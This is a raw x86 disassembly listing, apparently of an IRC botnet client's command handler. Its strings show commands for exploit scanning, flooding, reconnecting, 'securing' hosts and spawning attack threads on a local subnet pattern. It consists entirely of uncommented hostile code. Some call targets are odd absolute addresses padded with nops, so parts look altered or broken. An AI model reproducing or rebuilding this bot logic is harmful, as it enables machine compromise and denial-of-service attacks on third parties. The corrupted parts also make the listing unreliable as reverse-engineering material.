		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_403F9D:				; CODE XREF: sub_401ACD+5781j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_403FB6:				; CODE XREF: sub_401ACD+6DA8j
		call	sub_409869
		add	esp, 14h


loc_403FBE:				; CODE XREF: sub_401ACD+24D3j
					; sub_401ACD+26B0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_4097D1
; ---------------------------------------------------------------------------


loc_403FCF:				; CODE XREF: sub_401ACD+1876j
					; sub_401ACD+188Bj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A5C5
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_403FE8:				; CODE XREF: sub_401ACD+184Cj
					; sub_401ACD+1861j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416FCF
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_404005:				; CODE XREF: sub_401ACD+1822j
					; sub_401ACD+1837j
		or	edi, 0FFFFFFFFh
		call	near ptr 26C0589h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40402E
		push	esi
		call	sub_41C159
		pop	ecx
		mov	edi, eax


loc_40402E:				; CODE XREF: sub_401ACD+2556j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404047
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409644


loc_404047:				; CODE XREF: sub_401ACD+256Fj
		push	ebx
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF4C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_404085:				; CODE XREF: sub_401ACD+51BCj
		add	esp, 24h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40408D:				; CODE XREF: sub_401ACD+17F8j
					; sub_401ACD+180Dj
		push	27h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_4040BE
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BF2C


loc_4040AB:				; CODE XREF: sub_401ACD+4F88j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		jmp	loc_408C05
; ---------------------------------------------------------------------------


loc_4040BE:				; CODE XREF: sub_401ACD+25CAj
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		mov	[ebp+var_B40], ebx
		jz	short loc_40411F
		push	esi
		push	offset aFull	; "full"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40411F
		mov	[ebp+var_B40], 1


loc_40411F:				; CODE XREF: sub_401ACD+2635j
					; sub_401ACD+2646j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_419E38
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40418D


loc_404177:				; CODE XREF: sub_401ACD+26BEj
		cmp	[ebp+var_B34], ebx
		jnz	loc_403FBE
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_404177
; ---------------------------------------------------------------------------


loc_40418D:				; CODE XREF: sub_401ACD+26A8j
		nop
		call	near ptr 26B0669h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BECC
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403FBE
; ---------------------------------------------------------------------------


loc_4041AD:				; CODE XREF: sub_401ACD+17CEj
					; sub_401ACD+17E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4041CC
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BEB4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4041CC:				; CODE XREF: sub_401ACD+26E3j
		push	[ebp+arg_4]
		call	dword_4CBA6C
		call	dword_4CB92C
		call	sub_4188A6
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_4041E7:				; CODE XREF: sub_401ACD+17A4j
					; sub_401ACD+17B9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AF8F
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE9C
		jmp	short loc_40423F
; ---------------------------------------------------------------------------


loc_404212:				; CODE XREF: sub_401ACD+177Aj
					; sub_401ACD+178Fj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE84


loc_40423F:				; CODE XREF: sub_401ACD+2489j
					; sub_401ACD+2743j
		call	sub_415D38
		add	esp, 18h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40424C:				; CODE XREF: sub_401ACD+1750j
					; sub_401ACD+1765j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415DD8


loc_404260:				; CODE XREF: sub_401ACD+3C8j
					; sub_401ACD+2516j ...
		add	esp, 10h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_404268:				; CODE XREF: sub_401ACD+1726j
					; sub_401ACD+173Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1598],	bl
		jz	short loc_4042A7
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042A7
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042A7
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1598]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4042A7:				; CODE XREF: sub_401ACD+27A4j
					; sub_401ACD+27AFj ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1618]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_161C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1514],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1510],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BE6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_1518],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_161C]
		push	ebx
		push	eax
		push	offset byte_415E4B
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_1518]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40434A


loc_404334:				; CODE XREF: sub_401ACD+287Bj
		cmp	[ebp+var_150C],	ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_404334
; ---------------------------------------------------------------------------


loc_40434A:				; CODE XREF: sub_401ACD+2865j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42BE34
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_40435B:				; CODE XREF: sub_401ACD+16FCj
					; sub_401ACD+1711j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415CC0
		push	offset unk_42BE1C
		call	sub_415D38


loc_404376:				; CODE XREF: sub_401ACD+23F9j
		add	esp, 10h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40437E:				; CODE XREF: sub_401ACD+16D2j
					; sub_401ACD+16E7j
		push	[ebp+var_88]
		lea	eax, [ebp+var_C5C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_C60], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_BD4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_BD0], eax
		jz	short loc_4043D8
		push	offset dword_42BE18
		push	esi
		call	sub_41CA50
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_BD8], eax
		jmp	short loc_4043DE
; ---------------------------------------------------------------------------


loc_4043D8:				; CODE XREF: sub_401ACD+28EFj
		mov	[ebp+var_BD8], ebx


loc_4043DE:				; CODE XREF: sub_401ACD+2909j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BDF8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_BDC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C60]
		push	ebx
		push	eax
		push	offset byte_40B425
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_BDC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40444C


loc_404436:				; CODE XREF: sub_401ACD+297Dj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_406C1F
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_404436
; ---------------------------------------------------------------------------


loc_40444C:				; CODE XREF: sub_401ACD+2967j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42BDBC
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_40445D:				; CODE XREF: sub_401ACD+1656j
					; sub_401ACD+166Bj
		push	offset aDarksf	; "Darksf"
		push	offset unk_42BDA4


loc_404467:				; CODE XREF: sub_401ACD+29D9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_404494:				; CODE XREF: sub_401ACD+162Cj
					; sub_401ACD+1641j
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	offset unk_42BD78
		jmp	short loc_404467
; ---------------------------------------------------------------------------


loc_4044A8:				; CODE XREF: sub_401ACD+1602j
					; sub_401ACD+1617j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4044DA
		cmp	[ebp+var_C], ebx
		jz	short loc_4044E9
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044E9
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------


loc_4044DA:				; CODE XREF: sub_401ACD+29E4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		pop	ecx


loc_4044E9:				; CODE XREF: sub_401ACD+29E9j
					; sub_401ACD+29F8j ...
		push	0FFFFFFFEh
		jmp	loc_401F77
; ---------------------------------------------------------------------------


loc_4044F0:				; CODE XREF: sub_401ACD+15D8j
					; sub_401ACD+15EDj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BD28
		call	sub_415D38
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_404512:				; CODE XREF: sub_401ACD+15AEj
					; sub_401ACD+15C3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BCF8
		call	sub_415D38
		add	esp, 0Ch
		jmp	loc_4095AD
; ---------------------------------------------------------------------------


loc_404531:				; CODE XREF: sub_401ACD+1584j
					; sub_401ACD+1599j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA9E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404547:				; CODE XREF: sub_401ACD+155Aj
					; sub_401ACD+156Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA49
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_40455D:				; CODE XREF: sub_401ACD+1530j
					; sub_401ACD+1545j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B9DD
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404573:				; CODE XREF: sub_401ACD+1506j
					; sub_401ACD+151Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B90E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404589:				; CODE XREF: sub_401ACD+1461j
					; sub_401ACD+1476j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BCE8
		push	offset dword_42BCD8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1437j
					; sub_401ACD+144Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BCCC
		push	offset dword_42BCBC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045B9:				; CODE XREF: sub_401ACD+1050j
					; sub_401ACD+1065j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_4045DD
; ---------------------------------------------------------------------------


loc_4045D8:				; CODE XREF: sub_401ACD+2AF5j
					; sub_401ACD+2B00j
		mov	eax, dword_429074


loc_4045DD:				; CODE XREF: sub_401ACD+2B09j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404602
		push	esi


loc_4045EF:				; CODE XREF: sub_401ACD+2B44j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_404619
; ---------------------------------------------------------------------------


loc_404602:				; CODE XREF: sub_401ACD+2B1Fj
		cmp	[ebp+var_8FF], bl
		jz	short loc_404613
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_4045EF
; ---------------------------------------------------------------------------


loc_404613:				; CODE XREF: sub_401ACD+2B3Bj
		mov	[ebp+var_5A0], bl


loc_404619:				; CODE XREF: sub_401ACD+2B33j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41C360
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BC94
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_411BCE
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4046CA


loc_4046B4:				; CODE XREF: sub_401ACD+2BFBj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_4046B4
; ---------------------------------------------------------------------------


loc_4046CA:				; CODE XREF: sub_401ACD+2BE5j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset dword_42BC58
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4046DB:				; CODE XREF: sub_401ACD+FFDj
					; sub_401ACD+1012j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		test	ax, ax
		pop	ecx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		pop	ecx
		jmp	short loc_404701
; ---------------------------------------------------------------------------


loc_4046FB:				; CODE XREF: sub_401ACD+2C17j
					; sub_401ACD+2C23j
		mov	ax, word_429084


loc_404701:				; CODE XREF: sub_401ACD+2C2Cj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41C360
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409869
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B3BA
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40EF1C
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4047D0


loc_4047BA:				; CODE XREF: sub_401ACD+2D01j
		cmp	[ebp+var_968], ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_4047BA
; ---------------------------------------------------------------------------


loc_4047D0:				; CODE XREF: sub_401ACD+2CEBj
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42BBEC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4047E1:				; CODE XREF: sub_401ACD+FA9j
					; sub_401ACD+FBEj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404809
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		mov	[ebp+var_AA8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404813


loc_404809:				; CODE XREF: sub_401ACD+2D23j
		mov	[ebp+var_AA8], 1


loc_404813:				; CODE XREF: sub_401ACD+2D3Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_AA8], ebx
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_AA0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40485A
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40485A:				; CODE XREF: sub_401ACD+2D86j
		push	eax
		push	offset dword_42BBB8
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A366
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4048CE


loc_4048B8:				; CODE XREF: sub_401ACD+2DFFj
		cmp	[ebp+var_A9C], ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_4048B8
; ---------------------------------------------------------------------------


loc_4048CE:				; CODE XREF: sub_401ACD+2DE9j
		call	near ptr 26B0669h
		nop
		push	eax
		push	offset dword_42BB7C
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4048DF:				; CODE XREF: sub_401ACD+F7Fj
					; sub_401ACD+F94j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41ABFB


loc_4048F0:				; CODE XREF: sub_401ACD+2A75j
					; sub_401ACD+2A8Bj ...
		add	esp, 0Ch
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4048F8:				; CODE XREF: sub_401ACD+F55j
					; sub_401ACD+F6Aj
		push	offset unk_42BB2C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_404902:				; CODE XREF: sub_401ACD+F2Bj
					; sub_401ACD+F40j
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42BB1C
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+F01j
					; sub_401ACD+F16j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404971
		push	esi
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404966
		cmp	eax, 3
		jge	short loc_404966
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40495B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_40495B:				; CODE XREF: sub_401ACD+2E6Dj
		push	eax
		push	offset unk_42BAF0
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404966:				; CODE XREF: sub_401ACD+2E58j
					; sub_401ACD+2E5Dj
		push	eax
		push	offset unk_42BAC4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404971:				; CODE XREF: sub_401ACD+2E4Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_404976:				; CODE XREF: sub_401ACD+2EC5j
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404999
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404976
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_404999:				; CODE XREF: sub_401ACD+2EB9j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CD50
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4049B3:				; CODE XREF: sub_401ACD+ED7j
					; sub_401ACD+EECj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403446
		call	sub_40B583
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_4049D9:				; CODE XREF: sub_401ACD+19B1j
		push	offset aGet	; "get"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A67
		cmp	dword_4CF180, ebx
		jz	short loc_404A01
		push	offset dword_4CEB60


loc_4049F7:				; CODE XREF: sub_401ACD+2F98j
		push	offset unk_42BA88
		jmp	loc_404A97
; ---------------------------------------------------------------------------


loc_404A01:				; CODE XREF: sub_401ACD+2F23j
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E24]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_E24]
		push	eax
		jmp	short loc_4049F7
; ---------------------------------------------------------------------------


loc_404A67:				; CODE XREF: sub_401ACD+2F1Bj
		push	edi
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_404A7B
		push	offset unk_42BA48
		jmp	short loc_404A97
; ---------------------------------------------------------------------------


loc_404A7B:				; CODE XREF: sub_401ACD+2FA5j
		push	offset dword_4CEB60
		call	sub_41C890
		pop	ecx
		mov	dword_4CF180, 1
		pop	ecx
		push	edi
		push	offset unk_42BA1C


loc_404A97:				; CODE XREF: sub_401ACD+2F2Fj
					; sub_401ACD+2FACj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_40349D
; ---------------------------------------------------------------------------


loc_404AAB:				; CODE XREF: sub_401ACD+199Cj
		push	[ebp+arg_8]
		push	offset aExploit	; "exploit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BB1
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_13E8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F8],	eax
		push	offset aF	; "#f"
		lea	eax, [ebp+var_1478]
		push	esi
		push	eax
		mov	[ebp+var_13F0],	1
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_14F8]
		push	offset aF	; "#f"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	edi
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B9E4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_13EC],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1508]
		push	ebx
		push	eax
		push	offset byte_40BB65
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_13EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_404BA0


loc_404B8A:				; CODE XREF: sub_401ACD+30D1j
		cmp	[ebp+var_13E0],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_404B8A
; ---------------------------------------------------------------------------


loc_404BA0:				; CODE XREF: sub_401ACD+30BBj
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42B9A4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404BB1:				; CODE XREF: sub_401ACD+2FEFj
		push	[ebp+arg_8]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aRin	; "rin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aRinms	; "rinms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057B7
		call	near ptr 26C0589h
		nop
		push	eax
		call	sub_41C2B8
		push	edi
		push	offset aLoad	; "load"
		call	sub_41CA50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CB7
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CB7
